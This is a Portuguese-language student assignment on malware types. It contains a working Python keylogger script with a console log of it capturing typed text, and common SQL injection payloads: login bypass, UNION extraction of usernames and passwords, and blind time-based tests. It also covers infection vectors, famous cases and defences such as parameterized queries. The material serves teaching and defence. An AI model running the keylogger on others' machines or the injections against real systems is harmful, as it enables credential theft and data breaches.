

**Instituição de Ensino: Proz Educação
Técnico em Desenvolvimento de Sistemas**

Nathália Renata e Thiago Junior

ATIVIDADE AVALIATIVA - TIPOS DE MALWARE

**Cidade: Contagem - MG
Ano: 2025**

Sumário

1. Introdução.....	3
2. Spyware.....	4
2.1 Como se proteger?.....	8
2.2 Como um computador é infectado?.....	9
2.3 Quais os riscos de keyloggers?.....	10
2.4 Quais os casos famosos envolvendo keylogs?.....	10
3. Comandos Sql Injections.....	12
3.1 Como funciona.....	12
3.2 Como são usados.....	12
3.3 Como o desenvolvedor pode proteger sistemas dessa vulnerabilidade?.....	14
4. Conclusão	15

INTRODUÇÃO

O crescente avanço da tecnologia e a inerente dependência de sistemas digitais para transações pessoais e corporativas estabeleceram um cenário onde a segurança da informação é um pilar inegociável. Neste contexto, o conhecimento sobre as ameaças cibernéticas é fundamental não apenas para a defesa dos usuários finais, mas, principalmente, para a adoção de práticas de desenvolvimento robustas e seguras.

O presente trabalho tem como objetivo analisar duas das ameaças mais persistentes e destrutivas no panorama da segurança cibernética: o Keylogger e a vulnerabilidade de SQL Injection (SQLi). O primeiro representa um risco direto à privacidade do usuário, atuando na interceptação silenciosa de dados digitados, incluindo senhas e informações financeiras. Por outro lado, o SQL Injection expõe a fragilidade dos sistemas de informação, permitindo que atacantes manipulem queries de banco de dados para roubo, alteração ou destruição de dados.

Serão abordados os princípios conceituais de funcionamento de um keylogger de software, seus vetores de infecção, os riscos associados e, mais importante, as estratégias de proteção. Em seguida, o estudo se aprofundará nas vulnerabilidades de SQL Injection, detalhando os comandos de ataque mais comuns e, crucialmente, as técnicas que os desenvolvedores podem e devem empregar para mitigar esta falha, como as consultas parametrizadas.

Desta forma, este documento visa fornecer uma visão técnica e defensiva, capacitando o leitor a compreender a natureza destas ameaças e a importância de implementar uma arquitetura de segurança em camadas e proativa.

SPYWARE

```
cript2.py > iniciar_captura
1 import time
2 from pynput import keyboard
3
4 ARQUIVO_LOG = "log_tecclas.txt"
5
6 def salvar_em_arquivo(tecla: str) -> None:
7
8     with open(ARQUIVO_LOG, "a", encoding="utf-8") as arquivo:
9         arquivo.write(tecla + "\n")
10
11 def ao_preSSIONAR(tecla) -> None:
12
13     try:
14         salvar_em_arquivo(tecla.char)
15         print(f"Tecla registrada: {tecla.char}")
16     except AttributeError:
17         salvar_em_arquivo(str(tecla))
18         print(f"Tecla especial registrada: {tecla}")
19
20 def iniciar_captura(limite: int = 20) -> None:
21
22     print("Captura de teclas iniciada (Professor).")
23
24     contador = {"valor": 0}
25
26     def ao_preSSIONAR_limitado(tecla):
27         ao_preSSIONAR(tecla)
28         contador["valor"] += 1
29         if contador["valor"] >= limite:
30             return False
31
32     with keyboard.Listener(on_press=ao_preSSIONAR_limitado) as listener:
33         listener.join()
34
35     print("Captura finalizada.")
36
37 if __name__ == "__main__":
38     iniciar_captura()
39
```

```
PS C:\Users\Hvp\Desktop\vulnerabilidade> & C:/Users/Hvp/AppData/Local/Programs/Python/Python312/python.exe c:/Users/Hvp/Desktop/vulnerabilidade/cript2.py
Captura de teclas iniciada (Professor).
Tecla registrada: s
Tecla registrada: o
Tecla registrada: u
Tecla especial registrada: Key.space
Tecla registrada: u
Tecla registrada: m
Tecla especial registrada: Key.space
Tecla registrada: h
Tecla registrada: a
Tecla registrada: c
Tecla registrada: k
Tecla registrada: e
Tecla registrada: r
Tecla especial registrada: Key.space
Tecla registrada: d
Tecla registrada: o
Tecla especial registrada: Key.space
Tecla registrada: b
Tecla registrada: e
Tecla registrada: m
Captura finalizada.
PS C:\Users\Hvp\Desktop\vulnerabilidade> sou um hacker do bem
```

Estrutura do Código Python

1. Importações e Configuração Inicial

- `import time`: A biblioteca `time` é importada, mas **não é usada** no código fornecido.
- `from pynput import keyboard`: Importa o módulo `keyboard` da biblioteca `pynput`, que é essencial para monitorar as teclas.
- `ARQUIVO_LOG = "log_tecclas.txt"`: Define o nome do arquivo onde as teclas capturadas serão salvas.

2. Função `salvar_em_arquivo(tecla: str) -> None`

- Esta função recebe uma *string* (tecla) e a anexa ao arquivo de log.
- `with open(ARQUIVO_LOG, "a", encoding="utf-8") as arquivo::` Abre o arquivo `log_teclas.txt` em **modo de adição ("a")**, garantindo que o novo conteúdo seja adicionado ao final sem apagar o que já existe.
- `arquivo.write(tecla + "\n")`: Escreve a tecla no arquivo, seguida por uma quebra de linha (`\n`).

3. Função `ao_preSSIONAR(tecla) -> None`

- Esta é a função de *callback* que é chamada **toda vez que uma tecla é pressionada**.
- **Tratamento de Teclas Normais (Caracteres):**
 - `try::` Tenta acessar o atributo `tecla.char`. Se a tecla pressionada for um caractere normal (como 'a', 'b', '1', '2'), este atributo existirá.
 - `salvar_em_arquivo(tecla.char)`: Salva o caractere no arquivo de log.
 - `print(f"Tecla registrada: {tecla.char}")`: Imprime a tecla no console.
- **Tratamento de Teclas Especiais:**
 - `except AttributeError::` Se `tecla.char` falhar, significa que a tecla pressionada é uma **tecla especial** (como Enter, Shift, Key.space, etc.).
 - `salvar_em_arquivo(str(tecla))`: Salva a representação da tecla especial (ex: "Key.space") no arquivo.
 - `print(f"Tecla especial registrada: {tecla}")`: Imprime a tecla especial no console.

4. Função `iniciar_captura(limite: int = 20) -> None`

- Esta é a função principal que inicia o monitoramento de teclas.
- `print("Captura de teclas iniciada (Professor).")`: Imprime uma mensagem inicial.
- `contador = {"valor": 0}`: Cria um dicionário para atuar como um contador mutável, permitindo que ele seja modificado dentro da função `ao_preSSIONAR_limitado`.

5. Função `ao_preSSIONAR_limitado(tecla)`

- Esta função age como um **envoltório** para a função `ao_preSSIONAR`.
- `ao_preSSIONAR(tecla)`: Executa a função de registro de teclas.
- `contador["valor"] += 1`: Incrementa o contador de teclas.

- `if contador["valor"] >= limite::` Verifica se o limite de teclas (definido em `iniciar_captura`) foi atingido.
- `return False:` Se o limite for atingido, retorna `False`. Em `pynput`, retornar `False` de um *listener* (ouvir) **interrompe a captura**.

6. Iniciando o Listener e Finalizando

- `with keyboard.Listener(on_press=ao_pressionar_limitado) as listener::` Cria um *listener* de teclado. Ele chama a função `ao_pressionar_limitado` toda vez que uma tecla é pressionada. O uso do `with` garante que o *listener* será encerrado corretamente.
- `listener.join():` Faz com que o script principal espere (bloquee) até que o *listener* termine sua execução (ou seja, até que `ao_pressionar_limitado` retorne `False`).
- `print("Captura finalizada."):` Imprime uma mensagem de conclusão.

7. Ponto de Entrada

- `if __name__ == "__main__":` É a maneira padrão de garantir que `iniciar_captura()` seja chamada apenas quando o script for executado diretamente, e não quando for importado como um módulo.
- `iniciar_captura():` Inicia todo o processo.

Análise da Execução (Segunda Imagem)

A segunda imagem mostra a execução do script no console, com o limite padrão de **20 teclas** sendo atingido.

1. **Início:** Captura de teclas iniciada (Professor).
2. **Digitação:** O usuário digitou a frase sou um hacker do bem.
3. **Captura de Teclas:** O script registra cada tecla individualmente:
 - s, o, u
 - `Key.space` (espaço)
 - u, m
 - `Key.space` (espaço)
 - h, a, c, k, e, r
 - `Key.space` (espaço)
 - d, o
 - `Key.space` (espaço)
 - b, e, m

4. **Limite Atingido:** O processo de captura para automaticamente após a 20ª tecla, que foi o último m de "bem".
5. **Fim:** Captura finalizada.

O resultado é que a frase digitada será registrada no arquivo log_teclas.txt e o programa será encerrado automaticamente.

COMO SE PROTEGER?

A defesa contra keyloggers exige uma abordagem de segurança em camadas:

Uso de Antivírus/Anti-Malware: Mantenha um software de segurança de boa reputação e garanta que ele esteja sempre atualizado para detectar assinaturas de keyloggers conhecidos.

Gerenciadores de Senhas: Use gerenciadores de senhas confiáveis. Ao usar o recurso de preenchimento automático, a senha não é digitada tecla por tecla, o que pode burlar keyloggers de baixo nível.

Autenticação de Múltiplos Fatores (MFA): O MFA impede o acesso, mesmo que sua senha seja roubada, exigindo uma segunda forma de verificação (código no celular, biometria).

Atualização Constante: Mantenha o sistema operacional, navegadores e aplicativos atualizados para corrigir vulnerabilidades exploradas pelos vetores de infecção.

Teclado Virtual: Em situações de risco (terminais públicos), use o teclado virtual do sistema operacional para digitar informações sensíveis.

COMO UM COMPUTADOR É INFECTADO?

A infecção de um computador por um keylogger (ou qualquer outro malware) ocorre geralmente através de um ou mais dos seguintes vetores de ataque:

E-mails de Phishing e Anexos Maliciosos:

O método mais comum. O usuário recebe um e-mail que parece ser de uma fonte legítima (banco, serviço de entrega, colega de trabalho).

O e-mail contém um anexo (geralmente um arquivo com dupla extensão disfarçada, como .pdf.exe ou um documento do Word/Excel com macros maliciosas) que, ao ser aberto, executa o keylogger silenciosamente em segundo plano.

Software Pirata ou Cracked:

Programas obtidos ilegalmente, como jogos, aplicativos profissionais ou freeware de fontes não oficiais, são frequentemente empacotados com malware. Quando o usuário instala o programa "crackeado", ele inadvertidamente instala o keylogger ou outro spyware.

Drive-by Downloads e Sites Comprometidos:

Ocorre quando o usuário visita um site que foi comprometido por um atacante (ou um site malicioso).

O site explora vulnerabilidades (exploits) em navegadores, plugins (como Flash, Java) ou no próprio sistema operativo para instalar o keylogger automaticamente, sem que o usuário precise clicar em nada.

Redes Sociais e Mensagens Diretas:

O usuário recebe uma mensagem instantânea (em WhatsApp, Telegram, ou redes sociais) com um link para um arquivo ou site.

Ao clicar no link, é induzido a baixar e executar o arquivo malicioso, ou é direcionado para um site que inicia um drive-by download (ponto 3).

Mídia Removível (USB/Pendrives):

Ao conectar um dispositivo USB infectado a um computador, o malware pode ser instalado se o sistema operativo tiver o recurso de Autorun (execução automática) ativado ou se o usuário abrir um arquivo malicioso contido no dispositivo.

QUAIS OS RISCOS DE KEYLOGGERS?

Os riscos associados ao keylogging são de alto impacto, envolvendo roubo de identidade, financeiro e espionagem:

Roubo de Credenciais de Acesso: Captura de nomes de usuário e senhas para serviços críticos como e-mail, redes sociais, sistemas corporativos e, mais perigoso, contas bancárias e de investimento.

Perdas Financeiras Diretas: O atacante pode acessar contas bancárias ou carteiras de criptomoedas, resultando em transferências não autorizadas e prejuízos.

Espionagem e Propriedade Intelectual: Em ambientes corporativos, o keylogger pode registrar informações sensíveis, segredos comerciais, planos de negócios e documentos confidenciais digitados por funcionários.

Roubo de Informações Pessoais: Captura de números de documentos (CPF, RG, passaporte) e dados de cartão de crédito digitados em formulários online.

QUAIS OS CASOS FAMOSOS ENVOLVENDO KEYLOGS?

O uso de keyloggers tem sido uma ferramenta central em vários ataques cibernéticos e casos de espionagem digital de grande repercussão, afetando governos, grandes corporações e milhões de usuários.

Aqui estão alguns dos casos mais famosos envolvendo a captura de teclas:

1. RSA SecurID Hack (2011)

O que Aconteceu: A empresa RSA, uma das maiores fornecedoras de segurança do mundo (conhecida por seus tokens de autenticação de dois fatores, o SecurID), foi invadida em um ataque altamente sofisticado.

Papel do Keylogger: O ataque começou com e-mails de phishing direcionados a funcionários de baixo nível da RSA. Um desses e-mails continha um anexo malicioso que instalou malware com funcionalidade de keylogging. O

keylogger capturou credenciais, permitindo que os atacantes tivessem acesso à rede interna da RSA.

Consequência: Os invasores roubaram informações críticas relacionadas à tecnologia SecurID, o que potencialmente comprometeu a segurança de milhões de tokens usados por governos e empresas em todo o mundo.

2. Operação GhostNet (2009)

O que Aconteceu: Foi descoberta uma vasta rede de espionagem cibernética que controlava computadores em mais de 100 países.

Papel do Keylogger: O malware utilizado na operação incluía módulos de captura de tela e registro de teclas para roubar documentos e comunicações confidenciais.

Consequência: O foco da operação era espionagem de alto nível, atingindo embaixadas, ministérios de assuntos externos, a rede de computadores do Dalai Lama e várias organizações internacionais. O objetivo era extrair informações geopolíticas e diplomáticas sigilosas.

3. Keyloggers Bancários (Banking Trojans)

O que Aconteceu: Famílias de malware financeiro como Zeus (ou Zbot) e SpyEye dominaram o cenário de crimes cibernéticos por anos.

Papel do Keylogger: A funcionalidade de keylogging era o núcleo de seu método de roubo. O malware residia silenciosamente nos computadores dos usuários e era ativado quando o usuário acessava sites de bancos específicos. Eles registraram nomes de usuário, senhas e detalhes de transações.

Consequência: Essas ferramentas causaram perdas financeiras maciças para milhões de usuários e instituições bancárias globalmente, permitindo que os atacantes realizassem fraudes e transferências de dinheiro não autorizadas.

4. Keyloggers em Casos Judiciais e Domésticos

O que Aconteceu: Embora não sejam ataques de nível corporativo, casos de keylogging em computadores pessoais ganharam destaque na justiça, especialmente em litígios de divórcio ou disputas corporativas internas.

Papel do Keylogger: Indivíduos (como cônjuges ou ex-funcionários) instalaram keyloggers (muitas vezes de forma física ou software de monitoramento comercial) nos computadores das vítimas para obter e-mails, senhas e informações de comunicação para uso em processos legais ou chantagem.

Consequência: Estes casos levantaram importantes questões legais sobre a ética e a legalidade da interceptação de comunicações privadas em ambientes domésticos ou de trabalho.

COMANDOS SQL INJECTION

Os ataques de SQL Injection (SQLi) são uma das vulnerabilidades mais críticas e comuns em aplicações web. Eles ocorrem quando um atacante consegue injetar comandos SQL maliciosos em campos de entrada de dados (como formulários de login ou caixas de pesquisa), fazendo com que o banco de dados execute a query injetada.

Como Funcionam E Como São Usados

1. Ataque de Autenticação (Login Bypass)

Este é um dos ataques mais básicos e visa ignorar a exigência de senha em um formulário de login.

- Comando Injetado Comum: ' OR 1=1 --
- Funcionamento: O atacante insere essa string no campo de nome de usuário e/ou senha. A query original, que procuraria por um usuário e senha correspondentes, é alterada.
- Query Vulnerável Original (Exemplo):

```
SELECT * FROM users WHERE username = '[user_input]' AND password = '[pass_input]';
```

- Query Maliciosa Executada:

```
SELECT * FROM users WHERE username = " OR 1=1 --" AND password = '...';
```

A condição OR 1=1 é sempre verdadeira. Os dois hífen (--) no SQL são um operador de comentário, fazendo com que o restante da query (incluindo a verificação da senha) seja ignorado. O banco de dados retorna o primeiro usuário que encontra, permitindo o acesso.

2. Ataque de UNION

O operador UNION no SQL é usado para combinar o resultado de duas ou mais consultas. O atacante o utiliza para forçar a aplicação a exibir dados de uma tabela diferente daquela que deveria ser exibida.

- Comando Injetado Comum: UNION SELECT username, password FROM users --
- Funcionamento: O atacante tenta injetar uma consulta que extrai dados confidenciais (como nomes de usuário e senhas) de uma tabela sensível.
- Query Vulnerável Original (Exemplo):

```
SELECT nome, preco FROM produtos WHERE id = [id_input];
```

- Query Maliciosa Executada:

`SELECT nome, preco FROM produtos WHERE id = 1 UNION SELECT username, password FROM users --`

- Para que o UNION funcione, o número de colunas nas duas consultas deve ser o mesmo (neste caso, duas: username e password correspondem a nome e preço). O resultado final na tela incluirá a lista de usuários e senhas.

3. Ataque de Erro (Error-Based SQLi)

Esta técnica é usada quando a aplicação está mal configurada para exibir mensagens de erro detalhadas do banco de dados ao usuário.

- Comando Injetado Comum: Comando que força o banco de dados a tentar uma operação inválida, como a concatenação de uma string com um campo numérico, ou o uso indevido de funções de agregação.
- Funcionamento: O atacante força o erro para que o banco de dados retorne informações detalhadas, como a versão do banco de dados, o nome das tabelas ou até mesmo dados sensíveis dentro da própria mensagem de erro. O atacante lê essas informações de diagnóstico para mapear o esquema do banco de dados e planejar ataques futuros.

4. Ataque Cego (Blind SQLi)

Ocorre quando o servidor não retorna diretamente o erro ou o resultado dos dados, mas o atacante ainda consegue inferir a informação através da resposta do servidor.

- Técnica Booleana: O atacante injeta uma condição lógica. Se a condição for verdadeira, a página pode carregar normalmente. Se for falsa, a página pode exibir uma mensagem de erro ou carregar de forma diferente.
- Exemplo: ... AND 1=1 (verdadeiro) vs. ... AND 1=2 (falso).
- Técnica Baseada em Tempo (Time-Based): O atacante usa comandos como SLEEP() ou WAITFOR DELAY para forçar o banco de dados a atrasar a resposta se uma condição for verdadeira.
- Exemplo: Se o atacante injeta ... AND (SELECT SLEEP(5) FROM users WHERE user_id=1), e o servidor demora 5 segundos a responder, ele sabe que a condição (a existência do user_id=1) é verdadeira.
- Funcionamento: O atacante usa ferramentas automatizadas para testar milhões de condições lógicas ou temporais, letra por letra, para extrair informações do banco de dados sem que os dados apareçam diretamente na tela.

COMO O DESENVOLVEDOR PODE PROTEGER SISTEMAS DESSA VULNERABILIDADE?

A proteção não se baseia na filtragem de comandos (que é ineficaz), mas sim na mudança fundamental de como a aplicação interage com o banco de dados.

1. Consultas Parametrizadas (*Prepared Statements*) – O Padrão Ouro

Esta é a defesa mais importante. Em vez de concatenar a entrada do usuário diretamente na *query* SQL, o desenvolvedor usa *placeholders* (ou parâmetros) na consulta.

- Princípio: A estrutura da query é definida primeiro e enviada ao banco de dados. Em seguida, os dados de entrada do usuário são enviados separadamente. O banco de dados garante que a entrada seja tratada apenas como dado, e nunca como parte do comando SQL.

2. Princípio do Mínimo Privilégio

As contas de banco de dados que as aplicações web usam devem ter apenas as permissões mínimas necessárias para operar.

Exemplo: Uma conta de aplicativo web deve ter permissão para SELECT e UPDATE em tabelas de produtos, mas nunca permissão para DROP TABLE (excluir tabelas), acessar tabelas administrativas de usuários ou executar comandos de sistema.

3. Validação de Entrada

A aplicação deve sempre validar e sanitizar (limpar) todos os dados de entrada. Se um campo espera um número inteiro, a aplicação deve rejeitar ou remover qualquer caractere que não seja um dígito. Se um campo espera um nome, ele não deve permitir caracteres de comando SQL como ;, ', –.

CONCLUSÃO

A análise detalhada das ameaças de *Keyloggers* e de *SQL Injection* evidencia que a segurança cibernética é um campo dinâmico que exige vigilância contínua e adaptação. Enquanto os *keyloggers* representam um risco de espionagem e roubo de credenciais que exige cautela e o uso de ferramentas de defesa do usuário (como antivírus e gerenciadores de senhas), o *SQL Injection* revela uma falha estrutural, geralmente originada na fase de desenvolvimento de software.

Os comandos de *SQL Injection* analisados — como o *Login Bypass*, a técnica **UNION**, e os ataques baseados em Erro e Cego (*Blind*) — demonstram a facilidade com que dados confidenciais podem ser comprometidos quando a entrada do usuário não é tratada como perigosa. A defesa contra o *SQLi*, portanto, não é opcional, mas uma responsabilidade fundamental do desenvolvedor. A adoção de **Consultas Parametrizadas (*Prepared Statements*)** emerge como o método de mitigação mais eficaz e não negociável.

Em suma, a defesa robusta contra estas ameaças exige uma abordagem em três frentes: **tecnologia** (uso de softwares de segurança e atualização constante), **educação** (conscientização do usuário sobre *phishing* e downloads suspeitos) e, principalmente, **desenvolvimento seguro** (o emprego rigoroso de práticas de codificação que eliminem vulnerabilidades comuns). Somente através da integração destas frentes será possível construir e manter um ecossistema digital mais seguro.